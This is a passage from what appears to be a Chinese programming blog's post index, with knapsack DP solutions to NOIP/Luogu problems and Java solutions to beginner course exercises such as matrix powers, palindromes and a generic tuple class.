t, m = [0], [0] 4 for _ in range(M): 5 tn, mn = map(int, input().split(\u0026#34; \u0026#34;)) 6 t.append(tn) 7 m.append(mn) 8 9 dp = [0 for _ in range(T + 1)] 10 for i in range(1, M + 1): 11 for j in reversed(range(t[i], T + 1)): 12 dp[j] = max(dp[j], dp[j - t[i]] + m[i]) 13 print(dp[-1]) 14 15 16if __name__ == \u0026#34;__main__\u0026#34;: 17 main() [NOIP2001 普及组] 装箱问题 题目描述 有一个箱子容量为 $V$,同时有 $n$ 个物品,每个物品有一个体积。\n现在从 $n$ 个物品中,任取若干个装入箱内(也可以不取),使箱子的剩余空间最小。输出这个最小值。\n输入格式 第一行共一个整数 $V$,表示箱子容量。\n第二行共一个整数 $n$,表示物品总数。\n接下来 $n$ 行,每行有一个正整数,表示第 $i$ 个物品的体积。\n输出格式 共一行一个整数,表示箱子最小剩余空间。 样例 #1 样例输入 #1 124 26 38 43 512 67 79 87 样例输出 #1 10 提示 对于 $100%$ 数据,满足 $0\u0026lt;n \\le 30$,$1 \\le V \\le 20000$。\n【题目来源】\nNOIP 2001 普及组第四题\n题解 1def main(): 2 V = int(input()) 3 n = int(input()) 4 v = [0] 5 for _ in range(n): 6 v.append(int(input())) 7 8 dp = [[0 for _ in range(V + 1)] for _ in range(n + 1)] 9 for i in range(1, n + 1): 10 for j in range(1, V + 1): 11 if v[i] \u0026gt; j: 12 dp[i][j] = dp[i - 1][j] 13 else: 14 dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - v[i]] + v[i]) 15 print(V - dp[-1][-1]) 16 17 18if __name__ == \u0026#34;__main__\u0026#34;: 19 main() 小A点菜 题目背景 uim 神犇拿到了 uoi 的 ra(镭牌)后,立刻拉着基友小 A 到了一家……餐馆,很低端的那种。\nuim 指着墙上的价目表(太低级了没有菜单),说:“随便点”。\n题目描述 不过 uim 由于买了一些书,口袋里只剩 $M$ 元 $(M \\le 10000)$。\n餐馆虽低端,但是菜品种类不少,有 $N$ 种 $(N \\le 100)$,第 $i$ 种卖 $a_i$ 元 $(a_i \\le 1000)$。由于是很低端的餐馆,所以每种菜只有一份。\n小 A 奉行“不把钱吃光不罢休”的原则,所以他点单一定刚好把 uim 身上所有钱花完。他想知道有多少种点菜方法。\n由于小 A 肚子太饿,所以最多只能等待 $1$ 秒。\n输入格式 第一行是两个数字,表示 $N$ 和 $M$。\n第二行起 $N$ 个正数 $a_i$(可以有相同的数字,每个数字均在 $1000$ 以内)。\n输出格式 一个正整数,表示点菜方案数,保证答案的范围在 int 之内。\n样例 #1 样例输入 #1 14 4 21 1 2 2 样例输出 #1 13 提示 2020.8.29,增添一组 hack 数据 by @yummy\n题解 1def main(): 2 N, M = map(int, input().split(\u0026#34; \u0026#34;)) 3 a = [0] + list(map(int, input().split(\u0026#34; \u0026#34;))) 4 5 dp = [[0 for _ in range(M + 1)] for _ in range(N + 1)] 6 for i in range(1, N + 1): 7 for j in range(1, M + 1): 8 if j == a[i]: 9 dp[i][j] = dp[i - 1][j] + 1 10 elif j \u0026lt; a[i]: 11 dp[i][j] = dp[i - 1][j] 12 else: 13 dp[i][j] = dp[i - 1][j] + dp[i - 1][j - a[i]] 14 print(dp[-1][-1]) 15 16 17if __name__ == \u0026#34;__main__\u0026#34;: 18 main() [NOIP2006 普及组] 开心的金明 题目描述 金明今天很开心,家里购置的新房就要领钥匙了,新房里有一间他自己专用的很宽敞的房间。更让他高兴的是,妈妈昨天对他说:“你的房间需要购买哪些物品,怎么布置,你说了算,只要不超过 $N$ 元钱就行”。今天一早金明就开始做预算,但是他想买的东西太多了,肯定会超过妈妈限定的 $N$ 元。于是,他把每件物品规定了一个重要度,分为 $5$ 等:用整数 $1-5$ 表示,第 $5$ 等最重要。他还从因特网上查到了每件物品的价格(都是整数元)。他希望在不超过 $N$ 元(可以等于 $N$ 元)的前提下,使每件物品的价格与重要度的乘积的总和最大。\n设第$j$件物品的价格为 $v_j$,重要度为 $w_j$,共选中了 $k$ 件物品,编号依次为 $j_1,j_2,…,j_k$,则所求的总和为:\n$$v_{j_1} \\times w_{j_1}+v_{j_2} \\times w_{j_2} …+v_{j_k} \\times w_{j_k}$$\n请你帮助金明设计一个满足要求的购物单。\n输入格式 第一行,为 $2$ 个正整数,用一个空格隔开:$n,m$($n\u0026lt;30000,m\u0026lt;25$)其中 $n$ 表示总钱数,$m$ 为希望购买物品的个数。\n从第 $2$ 行到第 $m+1$ 行,第 $j$ 行给出了编号为 $j-1$ 的物品的基本数据,每行有 $2$ 个非负整数 $v,p$(其中 $v$ 表示该物品的价格 $(v \\le 10000)$,$p$ 表示该物品的重要度($1\\le p\\le5$)。\n输出格式 $1$ 个正整数,为不超过总钱数的物品的价格与重要度乘积的总和的最大值($\u0026lt;100000000$)。\n样例 #1 样例输入 #1 11000 5 2800 2 3400 5 4300 5 5400 3 6200 2 样例输出 #1 13900 提示 NOIP 2006 普及组 第二题\n题解 1def main(): 2 n, m = map(int, input().split(\u0026#34; \u0026#34;)) 3 v, w = [0], [0] 4 for _ in range(m): 5 vi, wi = map(int, input().split(\u0026#34; \u0026#34;)) 6 v.append(vi) 7 w.append(wi) 8 9 dp = [[0 for _ in range(n + 1)] for _ in range(m + 1)] 10 for i in range(m + 1): 11 for j in range(n + 1): 12 if j \u0026lt; v[i]: 13 dp[i][j] = dp[i - 1][j] 14 else: 15 dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - v[i]] + v[i] * w[i]) 16 print(dp[-1][-1]) 17 18 19if __name__ == \u0026#34;__main__\u0026#34;: 20 main() 不开心的金明 题目描述 金明今天很不开心,家里购置的二手房就要领钥匙了,房里并没有一间他自己专用的很宽敞的房间。更让他不高兴的是,妈妈昨天对他说:“你需要购买哪些物品,怎么布置,你说了不算(有很大的限制),而且不超过 $W$ 元钱。”。今天一早金明就开始做预算,但是他想买的东西太多了,肯定会超过妈妈限定的 $W$ 元。于是,他把每件物品规定了一个重要度整数 $p_i$ 表示。他还从因特网上查到了每件物品的价格 $v_i$(都是整数元)。\n妈妈看到购物单后进行了审查,要求购物单上所有的物品价格的极差(最贵的减去最便宜的)不超过 $3$(当然金明至今不知道为什么会这样)。他希望在不超过 $W$ 元(可以等于 $W$ 元)的前提下,使购买的重要度总和 $\\sum p_i$ 的最大。\n请你帮助金明设计一个满足要求的购物单,你只需要告诉我们重要度的最大的和。\n输入格式 输入的第 $1$ 行,为两个正整数,用一个空格隔开:\n$n,W$(其中 $W$ 表示总钱数,$n$ 为希望购买物品的个数。)\n从第 $2$ 行到第 $n+1$ 行,第 $j$ 行给出了编号为 $j-1$ 的物品的基本数据,每行有 $2$ 个非负整数 $v$ $p$(其中 $v$ 表示该物品的价格,$p$ 表示该物品的重要度)\n输出格式 输出只有一个正整数,为不超过总钱数的物品的重要度的总和的最大值。\n样例 #1 样例输入 #1 15 10 22 800 35 400 45 300 53 400 62 200 样例输出 #1 11600 提示 $1 \\le N \\le 100$。\n$1 \\le W \\le 10^9$。\n$1 \\le v_i \\le 10^9$。\n对所有的 $i=1,2,3,…,N$,$\\min(v_i) \\le v_i \\le \\min(v_i)+3$。\n$1 \\le p_i \\le 10^7$。\n题解 这道题依然是一个 0-1 背包问题,和前一题的区别在于,这道题给出的背包容量(即金额限制)太大了,可能有 $10^9$ 之多,依照常规二位数组或者一维滚动数组做法必定会导致部分测试点 TLE 或 MLE。 但是经过观察题目条件我们知道,所有物品价格的极差不超过 $3$,我们不妨将所有物品的价格同时减去输入中给出的最小价格,这样所有的价格都可以以 $1$ $2$ $3$ $4$ 来表示,以此缩小 dp 数组。 在这种情况下,每购买一件物品的实际价格就相当于处理后的价格加上最低价格,那么购买 $n$ 件物品的实际价格就相当于处理后的价格加上 $n$ 倍最低价格。 因此,定义动态规划数组 dp[i][j][k] 表示在前 i 种物品种,总钱数(处理后)为 j,已购买了 k 件物品时的最大重要度。 此时 vmin * k + j 表示实际金额,而状态转移方程为 dp[i][j][k] = max(dp[i - 1][j][k], dp[i - 1][j - v[i]][k - 1] + p[i]);。\n1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 int N = scanner.nextInt(); 8 int W = scanner.nextInt(); 9 10 int[] v = new int[N + 1]; 11 int[] p = new int[N + 1]; 12 for (int i = 1; i \u0026lt;= N; ++i) { 13 v[i] = scanner.nextInt(); 14 p[i] = scanner.nextInt(); 15 } 16 scanner.close(); 17 18 int vmin = Arrays.stream(v, 1, N + 1).min().getAsInt(); 19 int vsum = 0; 20 for (int i = 1; i \u0026lt;= N; ++i) { 21 v[i] -= vmin; 22 vsum += v[i]; 23 } 24 25 int[][][] dp = new int[N + 1][vsum + 1][N + 1]; 26 for (int i = 1; i \u0026lt;= N; ++i) { 27 for (int j = 0; j \u0026lt;= vsum; ++j) { // j 从 0 开始计数,因为处理后的价格为 0 1 2 3 28 for (int k = 1; k \u0026lt;= i; ++k) { 29 if (W \u0026gt;= vmin * k + j \u0026amp;\u0026amp; j \u0026gt;= v[i]) { 30 dp[i][j][k] = Math.max(dp[i - 1][j][k], dp[i - 1][j - v[i]][k - 1] + p[i]); 31 } else { 32 dp[i][j][k] = dp[i - 1][j][k]; 33 } 34 } 35 } 36 } 37 38 int res = 0; 39 for (int j = 0; j \u0026lt;= vsum; ++j) { // 这里的 j 也从 0 开始计数 40 for (int k = 1; k \u0026lt;= N; ++k) { 41 res = Math.max(dp[N][j][k], res); 42 } 43 } 44 System.out.println(res); 45 } 46} ","link":"https://jackgdn.github.io/post/algo-knapsackproblem-1/","section":"post","tags":["算法","动态规划","背包问题"],"title":"背包问题——01背包问题"},{"body":" 从键盘输入一个m,代表二维矩阵A的行和列,然后输入m行数据,每行数据用空格分割。再输入一个n,代表矩阵的幂运算次数,即n = 2输出A * A 的值。n = 3 输出A * A *A的值。 1example: 2 3input: 42 51 1 61 1 72 8 9output: 10[[2, 2], [2, 2]] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Arrays; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner scanner = new Scanner(System.in); 9 int order = scanner.nextInt(); 10 int[][] matrix = new int[order][order]; 11 for (int i = 0; i \u0026lt; order; i++) { 12 for (int j = 0; j \u0026lt; order; j++) { 13 matrix[i][j] = scanner.nextInt(); 14 } 15 } 16 int power = scanner.nextInt(); 17 scanner.close(); 18 19 int[][] result = matrixPower(matrix, power, order); 20 System.out.println(Arrays.deepToString(result)); 21 } 22 23 public static int[][] matrixPower(int[][] matrix, int power, int order) { 24 if (power == 1) { 25 return matrix; 26 } 27 28 int[][] result = matrix; 29 while (power \u0026gt; 1) { 30 result = matrixMultiply(result, matrix, order); 31 power--; 32 } 33 return result; 34 } 35 36 public static int[][] matrixMultiply(int[][] aMatrix, int[][] bMatrix, int order) { 37 int[][] result = new int[order][order]; 38 for (int i = 0; i \u0026lt; order; i++) { 39 for (int j = 0; j \u0026lt; order; j++) { 40 for (int k = 0; k \u0026lt; order; k++) { 41 result[i][j] += aMatrix[i][k] * bMatrix[k][j]; 42 } 43 } 44 } 45 return result; 46 } 47} 从键盘输入一个十进制的长整数,计算各位数字的和。 1example: 2 3input 4123456789 5 6output: 745 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 String numString = scanner.nextLine(); 9 scanner.close(); 10 11 int sum = 0; 12 for (int i = 0; i \u0026lt; numString.length(); i++) { 13 sum += Character.getNumericValue(numString.charAt(i)); // Character.getNumericValue() 将 char 转化为 int 14 } 15 16 System.out.println(sum); 17 } 18} 输入一行由两个四位数和空格隔开的字符串,区间[a,b],其中a为前面四位数,b为空格后面的四位数。计算a—b范围内所有四位数每个位数的和,将位数和为10的四位数输出出来。(例:1234每一位做加法,就是1+2+3+4 = 10)并用try,except结构,对输入数据进行判断,如果不能转换为int型数据,输出\u0026quot;Input Error!\u0026quot;. 1example: 2 3input: 41000 1050 5 6output: 7[1009,1018, 1027, 1036, 1045] 8 9input: 1010a 11 12output: 13Input Error! 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6import java.util.InputMismatchException; 7 8public class Main { 9 public static void main(String[] args) { 10 try (Scanner scanner = new Scanner(System.in)) { 11 int a = scanner.nextInt(); 12 int b = scanner.nextInt(); 13 14 List\u0026lt;Integer\u0026gt; result = new ArrayList\u0026lt;\u0026gt;(); 15 for (int i = a; i \u0026lt;= b; i++) { 16 if (digitSum(i) == 10) { 17 result.add(i); 18 } 19 } 20 21 System.out.println(result); 22 } catch (InputMismatchException e) { 23 System.out.println(\u0026#34;Input Error!\u0026#34;); 24 } 25 } 26 27 public static int digitSum(int n) { 28 return n / 1000 + (n % 1000) / 100 + (n % 100) / 10 + n % 10; 29 } 30} 从键盘接受一行字符串,将字符串中不同的字符添加在一个一维数组中。并按照字符的ASCII从小到大排序。(区分大小写,“A”和“a”是不同字符) 1example: 2 3input: 4 5aidieAQie230 2s 6 7output: 8 9[\u0026#39;A\u0026#39;, \u0026#39;Q\u0026#39;, \u0026#39;a\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;s\u0026#39;] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.TreeSet; // 使用 TreeSet 保持有序 5 6public class Main { 7 public static void main(String[] args) { 8 TreeSet\u0026lt;Character\u0026gt; list = new TreeSet\u0026lt;\u0026gt;(); 9 10 try (Scanner scanner = new Scanner(System.in)) { 11 String input = scanner.nextLine(); 12 for (char c : input.toCharArray()) { 13 if (Character.isLetter(c)) { 14 list.add(c); 15 } 16 } 17 } 18 19 System.out.println(list); 20 } 21} 编写函数,接收字符串参数,返回一个元组,其中第一个元素为小写字母个数,第二个元素为大写字母个数。 1input: 2diwoULNidieoJIOJOdie 3 4output: 5(12, 8) 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 int lowerCount = 0, upperCount = 0; 8 try (Scanner scanner = new Scanner(System.in)) { 9 String input = scanner.nextLine(); 10 for (char c : input.toCharArray()) { 11 if (Character.isLowerCase(c)) { 12 lowerCount++; 13 } else if (Character.isUpperCase(c)) { 14 upperCount++; 15 } 16 } 17 } 18 System.out.println(String.format(\u0026#34;(%d, %d)\u0026#34;, lowerCount, upperCount)); 19 } 20} 编写一个程序,从键盘接受一组空格隔开的单词,统计每个单词和它出现的次数,并存在一个元组中。将此元组作为字典的键,单词中元音单词的个数做为值存在一个字典中。(注:单词区分大小写) 1input: 2 3hello hello hello world world A 4 5ouput: 6 7{(\u0026#39;hello\u0026#39;, 3): 2, (\u0026#39;world\u0026#39;, 2): 1, (\u0026#39;A\u0026#39;, 1): 1} 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Map; 5import java.util.HashMap; 6import java.util.Arrays; 7 8public class Main { 9 public static void main(String[] args) { 10 Scanner scanner = new Scanner(System.in); 11 String input = scanner.nextLine(); 12 scanner.close(); 13 14 String[] words = input.trim().split(\u0026#34; +\u0026#34;); 15 Map\u0026lt;String, Integer[]\u0026gt; initMap = new HashMap\u0026lt;\u0026gt;(); 16 for (String word : words) { 17 Integer[] value = initMap.getOrDefault(word, new Integer[] { 0, countVowels(word) }); // getOrDefault() 18 // 方法返回指定键的值,如果不存在则返回默认值 19 value[0]++; 20 initMap.put(word, value); 21 } 22 23 Map\u0026lt;String, Integer\u0026gt; resultMap = new HashMap\u0026lt;\u0026gt;(); 24 for (Map.Entry\u0026lt;String, Integer[]\u0026gt; entry : initMap.entrySet()) { 25 String[] keyArray = new String[] { entry.getKey(), String.valueOf(entry.getValue()[0]) }; 26 String key = Arrays.toString(keyArray); 27 int value = entry.getValue()[1]; 28 resultMap.put(key, value); 29 } 30 31 System.out.println(resultMap); 32 } 33 34 public static int countVowels(String word) { 35 int count = 0; 36 for (char c : word.toCharArray()) { 37 if (\u0026#34;aeiouAEIOU\u0026#34;.indexOf(c) != -1) { // String.contains() 参数为 CharSequence 类型,不支持 char 类型 38 count++; 39 } 40 } 41 return count; 42 } 43} 问题描述 首先给出简单加法算式的定义: 如果有一个算式(i)+(i+1)+(i+2),(i\u0026gt;=0),在计算的过程中,没有任何一个数位出现了进位,则称其为简单的加法算式。 例如:i=3时,3+4+5=12,有一个进位,因此3+4+5不是一个简单的加法算式;又如i=112时,112+113+114=339,没有在任意数位上产生进位,故112+113+114是一个简单的加法算式。\n问题:给定一个正整数n,问当i大于等于0且小于n时,有多少个算式(i)+(i+1)+(i+2)是简单加法算式。其中n\u0026lt;10000。\n输入格式\n一个整数,表示n\n输出格式\n一个整数,表示简单加法算式的个数\n注意:我们要求的简单加法进位,只要求最终结果的位数不超过i的位数,不限制内部数字做加法是否有进位。\n1input: 24 3 4output: 53 1// 这道题让我与满绩擦肩而过 ┭┮﹏┭┮ 2package com.jackgdn; 3 4import java.util.Scanner; 5 6public class Main { 7 public static void main(String[] args) { 8 int n; 9 try (Scanner scanner = new Scanner(System.in)) { 10 n = scanner.nextInt(); 11 } 12 13 int count = 0; 14 for (int i = 0; i \u0026lt; n; i++) { 15 if (hasSimpleAddition(i)) { 16 System.out.print(i + \u0026#34; \u0026#34;); 17 count++; 18 } 19 } 20 21 System.out.println(count); 22 } 23 24 public static boolean hasSimpleAddition(int n) { 25 if (n - n / 10 * 10 \u0026gt; 2) { 26 return false; 27 } 28 29 while (n / 10 != 0) { 30 n /= 10; 31 if (n - n / 10 * 10 \u0026gt; 3) { 32 return false; 33 } 34 } 35 36 return true; 37 } 38} 有red, green, blue, yellow, white和black六种颜色的气球若干。现在飘过来一大堆不同颜色的气球,请你用字典实现对不用颜色的气球计数(键为字符串,值为计数)。 输入以“#”表示结束,若未出现相应颜色的字符串则忽略;反之,则计数。\n按字典序(字母升序)实现对键值对的输出。\n1比如输入为: 2red 3green 4blue 5yellow 6white 7# 8 9则输出为: 10black 0 11blue 1 12green 1 13red 1 14white 1 15yellow 1 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Map; 5import java.util.TreeMap; 6 7public class Main { 8 public static void main(String[] args) { 9 Map\u0026lt;String, Integer\u0026gt; map = new TreeMap\u0026lt;\u0026gt;(); 10 for (String s : new String[] { \u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;blue\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;white\u0026#34;, \u0026#34;black\u0026#34; }) { 11 map.put(s, 0); 12 } 13 14 Scanner scanner = new Scanner(System.in); 15 String baloon = scanner.nextLine(); 16 while (!baloon.equals(\u0026#34;#\u0026#34;)) { 17 map.put(baloon, map.get(baloon) + 1); 18 baloon = scanner.nextLine(); 19 } 20 scanner.close(); 21 22 for (Map.Entry\u0026lt;String, Integer\u0026gt; entry : map.entrySet()) { 23 String key = entry.getKey(); 24 int value = entry.getValue(); 25 System.out.println(key + \u0026#34; \u0026#34; + value); 26 } 27 } 28} 从键盘输入一个数字(正整数),判断需要加多少次,可以得到一个回文数字,例如:输入56,则56 + 65 =121为一个回文数字。 又如:对于十进制数\n8787\n87:\nSTEP1:\n87+78=165\nSTEP2:\n165+561=726\nSTEP3:\n726+627=1353\nSTEP4:\n1353+3531=4884\n需四步得到一个回文数字。如果超过30步,则输出Impossible!\n1input: 265 3 4output: 5huiwen need 1 iterate,and huiwen number is 121. 6 7input: 887 9 10output: 11huiwen need 4 iterate,and huiwen number is 4884. 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 int n = scanner.nextInt(); 9 scanner.close(); 10 11 for (int i = 0; i \u0026lt; 30; i++) { 12 if (isPalindrome(n)) { 13 System.out.println(String.format(\u0026#34;After %d iterations, the palindrome number %d is obtained.\u0026#34;, i, n)); 14 return; 15 } 16 n = n + reverse(n); 17 } 18 System.out.println(\u0026#34;Impossible.\u0026#34;); 19 } 20 21 public static boolean isPalindrome(int n) { 22 String num = String.valueOf(n); 23 int left = 0; 24 int right = num.length() - 1; 25 while (left \u0026lt; right) { 26 if (num.charAt(left) != num.charAt(right)) { 27 return false; 28 } 29 left++; 30 right--; 31 } 32 return true; 33 } 34 35 public static int reverse(int n) { 36 String num = String.valueOf(n); 37 String reversed = new StringBuilder(num).reverse().toString(); // 倒置字符串 38 return Integer.parseInt(reversed); 39 } 40} 试写一个函数,输入日、月、年,并按如下两种格式分别输出: Standard format: yyyy-mm-dd\nNew Zealand format: dd/mm/yyyy\n1比如输入为: 26 37 41976 5 6则输出为: 7Standard format: 1976-07-06 8New Zealand format: 06/07/1976 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner scanner = new Scanner(System.in)) { 8 int day = scanner.nextInt(); 9 int month = scanner.nextInt(); 10 int year = scanner.nextInt(); 11 System.out.println(String.format(\u0026#34;Standard format: %d-%02d-%02d\u0026#34;, year, month, day)); // %0 表示用 0 补齐 12 System.out.println(String.format(\u0026#34;New Zealand format: %02d/%02d/%d\u0026#34;, day, month, year)); 13 } 14 } 15} 从键盘输入一组数字组成的字符串,再输入一个指定的数字,删除字符串中所有指定的数字,并将结果存在列表中输出。 1input: 23742484 1736364 38599483486 33 4 5output: 6[\u0026#39;742484\u0026#39;, \u0026#39;17664\u0026#39;, \u0026#39;859948486\u0026#39;] 7 8input: 93742484 1736364 38599483486 104 11 12output: 13[\u0026#39;3728\u0026#39;, \u0026#39;173636\u0026#39;, \u0026#39;385998386\u0026#39;] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6import java.util.Arrays; 7 8public class Main { 9 public static void main(String[] args) { 10 try (Scanner scanner = new Scanner(System.in)) { 11 String[] nums = scanner.nextLine().trim().split(\u0026#34;\\\\s+\u0026#34;); 12 String x = scanner.nextLine().trim(); 13 14 /* 15 * 将一个 String[] 中的每一个元素经过 exlude() 函数处理后,存储到一个 ArrayList\u0026lt;String\u0026gt; 中, 16 * 使用 Stream 接口的 toList() 方法会得到一个不可变的 List, 17 * 使用 collect(Collectors.toList()) 可以获得可变的 List。 18 */ 19 List\u0026lt;String\u0026gt; result = new ArrayList\u0026lt;\u0026gt;(Arrays.stream(nums).map(num -\u0026gt; exclude(num, x)).toList()); 20 System.out.println(result); 21 } 22 } 23 24 public static String exclude(String num, String x) { 25 List\u0026lt;String\u0026gt; digits = new ArrayList\u0026lt;\u0026gt;(Arrays.stream(num.split(\u0026#34;\u0026#34;)).toList()); 26 digits.removeIf(d -\u0026gt; d.equals(x)); // 使用 for 遍历 List 时删除元素会导致异常 27 return String.join(\u0026#34;\u0026#34;, digits); 28 } 29} 输入一个用空格隔开的两个数字字符串,将给定范围内,所有成对的反素数,按从小到大的顺序组成一个元组,存入到列表中。反素数:17 和 71既是反素数。注意,回文素数不是反素数,171既是回文素数。 1input: 210 100 3 4output: 5[(13, 31), (17, 71), (37, 73), (79, 97)] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6import java.util.Arrays; 7 8public class Main { 9 public static void main(String[] args) { 10 Scanner scanner = new Scanner(System.in); 11 int a = scanner.nextInt(); 12 int b = scanner.nextInt(); 13 scanner.close(); 14 15 List\u0026lt;int[]\u0026gt; result = new ArrayList\u0026lt;\u0026gt;(); 16 int reversed; 17 for (int i = a; i \u0026lt;= b; i++) { 18 if (isPrime(i) \u0026amp;\u0026amp; !isPalindrome(i)) { 19 reversed = reverse(i); 20 if (reversed \u0026gt; i \u0026amp;\u0026amp; isPrime(reversed)) { 21 result.add(new int[] { i, reversed }); 22 } 23 } 24 } 25 26 System.out.println(Arrays.deepToString(result.toArray())); 27 } 28 29 public static boolean isPrime(int n) { 30 if (n \u0026lt;= 1) { 31 return false; 32 } 33 for (int i = 2; i * i \u0026lt;= n; i++) { 34 if (n % i == 0) { 35 { 36 return false; 37 } 38 } 39 } 40 return true; 41 } 42 43 public static boolean isPalindrome(int n) { 44 String num = String.valueOf(n); 45 int left = 0; 46 int right = num.length() - 1; 47 while (left \u0026lt; right) { 48 if (num.charAt(left) == num.charAt(right)) { 49 left++; 50 right--; 51 } else { 52 return false; 53 } 54 } 55 return true; 56 } 57 58 public static int reverse(int n) { 59 String num = String.valueOf(n); 60 StringBuilder sb = new StringBuilder(num); 61 sb.reverse(); 62 return Integer.parseInt(sb.toString()); 63 } 64} s串初始为\u0026quot;0,按以下方式变:0变1,1变01 输入格式\n1个整数(0~19)\n输出格式\nn次变换后s01串\n1input: 23 3 4output: 5101 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 int n = scanner.nextInt(); 9 scanner.close(); 10 11 if (n == 0) { 12 System.out.println(\u0026#34;0\u0026#34;); 13 return; 14 } 15 16 String s = \u0026#34;0\u0026#34;; 17 for (int i = 0; i \u0026lt; n; i++) { 18 StringBuilder nextString = new StringBuilder(); 19 for (char c : s.toCharArray()) { 20 nextString.append(c == \u0026#39;0\u0026#39; ? \u0026#34;1\u0026#34; : \u0026#34;01\u0026#34;); 21 } 22 s = nextString.toString(); 23 } 24 System.out.println(s); 25 } 26} 定义一个NewTuple类,能够实现两个元组类的+,-,*,//运算,已知两个元组中包含元素个数相同,对/和//,判断余数中是否有0,如果出现除数为0的情况,输出“The divisor cannot be zero. ”其他情况,按照按位加减乘除(注:除非只需要完成整除运算)的原则运算即可。(类中加减乘除的方法名分别为:add;sub;mul;floordiv) 从键盘输入三行数据,第一行和第二行为两个需要计算的元组,第三行为计算的符号(即:+,-,*,//)输出计算后得到的新元组的类型和计算后得到的新元组。\n1example: 2 3input: 4(1,2,3) 5(4,5,6) 6* 7 8output: 9(4, 10, 18) 1/* 这是 NewTuple.java 的代码, 2 * 其中使用了泛型,因此看上去比较复杂。 3 * 检测输入输出类型对我来说还是有些困难。 4 */ 5package com.jackgdn; 6 7import java.util.List; 8 9public class NewTuple\u0026lt;T extends Number\u0026gt; { 10 public List\u0026lt;T\u0026gt; values; 11 12 public NewTuple() { 13 } 14 15 public NewTuple(List\u0026lt;T\u0026gt; values) { 16 this.values = values; 17 } 18 19 public int size() { 20 return values.size(); 21 } 22 23 public NewTuple\u0026lt;T\u0026gt; add(NewTuple\u0026lt;T\u0026gt; other) { 24 for (int i = 0; i \u0026lt; Math.min(this.size(), other.size()); i++) { 25 Number thisValue = this.values.get(i); 26 Number otherValue = other.values.get(i); 27 28 if (thisValue instanceof Integer) { 29 this.values.set(i, (T) (Number) (thisValue.intValue() + otherValue.intValue())); 30 } else if (thisValue instanceof Double) { 31 this.values.set(i, (T) (Number) (thisValue.doubleValue() + otherValue.doubleValue())); 32 } else if (thisValue instanceof Float) { 33 this.values.set(i, (T) (Number) (thisValue.floatValue() + otherValue.floatValue())); 34 } else if (thisValue instanceof Long) { 35 this.values.set(i, (T) (Number) (thisValue.longValue() + otherValue.longValue())); 36 } else if (thisValue instanceof Short) { 37 this.values.set(i, (T) (Number) (thisValue.shortValue() + otherValue.shortValue())); 38 } else if (thisValue instanceof Byte) { 39 this.values.set(i, (T) (Number) (thisValue.byteValue() + otherValue.byteValue())); 40 } else { 41 throw new UnsupportedOperationException(); 42 } 43 } 44 45 return this; 46 } 47 48 public NewTuple\u0026lt;T\u0026gt; sub(NewTuple\u0026lt;T\u0026gt; other) { 49 for (int i = 0; i \u0026lt; Math.min(this.size(), other.size()); i++) { 50 Number thisValue = this.values.get(i); 51 Number otherValue = other.values.get(i); 52 53 if (thisValue instanceof Integer) { 54 this.values.set(i, (T) (Number) (thisValue.intValue() - otherValue.intValue())); 55 } else if (thisValue instanceof Double) { 56 this.values.set(i, (T) (Number) (thisValue.doubleValue() - otherValue.doubleValue())); 57 } else if (thisValue instanceof Float) { 58 this.values.set(i, (T) (Number) (thisValue.floatValue() - otherValue.floatValue())); 59 } else if (thisValue instanceof Long) { 60 this.values.set(i, (T) (Number) (thisValue.longValue() - otherValue.longValue())); 61 } else if (thisValue instanceof Short) { 62 this.values.set(i, (T) (Number) (thisValue.shortValue() - otherValue.shortValue())); 63 } else if (thisValue instanceof Byte) { 64 this.values.set(i, (T) (Number) (thisValue.byteValue() - otherValue.byteValue())); 65 } else { 66 throw new UnsupportedOperationException(); 67 } 68 } 69 70 return this; 71 } 72 73 public NewTuple\u0026lt;T\u0026gt; mul(NewTuple\u0026lt;T\u0026gt; other) { 74 for (int i = 0; i \u0026lt; Math.min(this.size(), other.size()); i++) { 75 Number thisValue = this.values.get(i); 76 Number otherValue = other.values.get(i); 77 78 if (thisValue instanceof Integer) { 79 this.values.set(i, (T) (Number) (thisValue.intValue() * otherValue.intValue())); 80 } else if (thisValue instanceof Double) { 81 this.values.set(i, (T) (Number) (thisValue.doubleValue() * otherValue.doubleValue())); 82 } else if (thisValue instanceof Float) { 83 this.values.set(i, (T) (Number) (thisValue.floatValue() * otherValue.floatValue())); 84 } else if (thisValue instanceof Long) { 85 this.values.set(i, (T) (Number) (thisValue.longValue() * otherValue.longValue())); 86 } else if (thisValue instanceof Short) { 87 this.values.set(i, (T) (Number) (thisValue.shortValue() * otherValue.shortValue())); 88 } else if (thisValue instanceof Byte) { 89 this.values.set(i, (T) (Number) (thisValue.byteValue() * otherValue.byteValue())); 90 } else { 91 throw new UnsupportedOperationException(); 92 } 93 } 94 95 return this; 96 } 97 98 public NewTuple\u0026lt;T\u0026gt; div(NewTuple\u0026lt;T\u0026gt; other) { 99 for (int i = 0; i \u0026lt; Math.min(this.size(), other.size()); i++) { 100 if (other.values.get(i).doubleValue() == 0.0) { 101 throw new ArithmeticException(\u0026#34;/ by zero\u0026#34;); 102 } 103 } 104 